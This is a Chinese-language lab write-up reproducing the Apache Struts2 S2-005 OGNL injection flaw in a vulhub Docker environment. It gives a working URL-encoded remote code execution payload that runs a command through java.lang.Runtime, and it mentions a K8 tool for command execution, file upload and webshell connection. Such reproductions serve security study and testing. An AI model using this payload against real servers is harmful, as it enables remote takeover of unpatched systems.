一、漏洞简述
漏洞原理:
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
影响版本:
Struts 2.0.0 - Struts 2.1.8.1
二、漏洞复现
1.使用在ubuntu搭建的vulhub漏洞环境
cd /vulhub-master/struts2/s2-005
docker-compose build
docker-compose up -d //运行环境
2.打开http://192.168.187.133:8080/,(其中的ip为你的本地地址),查看运行的漏洞环境
2.插入poc
Poc:
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
使用burp 或者hackbar 插入poc
2.在靶机ubuntu中的docker查看文件
docker ps
docker exec -it e4744ab9bf5a /bin/bash
cd /tmp
ls
成功插入success文件
第二种方法 使用K8工具检测利用
- 使用K8 连接,.将网站复制到目标处 ,获取网站信息,执行命令
- 选择2010 s2-005
- 点击获取信息即
也可以进行执行命令,文件上传,连接小马,文件管理 等操作
下图是 执行命令操作演示
参考链接: